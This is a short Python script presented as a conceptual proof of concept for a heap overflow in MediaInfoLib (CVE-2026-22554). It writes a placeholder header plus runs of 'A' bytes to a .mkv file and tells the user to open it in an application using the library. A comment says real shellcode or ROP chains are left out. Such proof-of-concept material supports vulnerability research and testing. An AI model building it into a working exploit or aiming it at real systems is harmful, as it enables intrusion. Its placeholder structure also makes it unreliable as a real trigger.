The following code is for security research and authorized testing only.
python
import struct
# This is a conceptual PoC for CVE-2026-22554
# It generates a malformed media file structure to trigger the heap overflow
def create_malicious_file(filename):
# File header simulation
header = b"MALFORMED_MEDIA_HEADER"
# Constructing the payload to trigger channel splitting overflow
# Padding to reach the vulnerable buffer
padding = b"A" * 100
# Overflow payload (hypothetical size based on buffer limit)
# In a real exploit, this would contain ROP chains or shellcode
overflow_payload = b"\x41" * 500
with open(filename, "wb") as f:
f.write(header + padding + overflow_payload)
print(f"[+] Malicious file '{filename}' created.")
if __name__ == "__main__":
# Usage: Pass this file to an application using MediaInfoLib
create_malicious_file("cve_2026_22554_poc.mkv")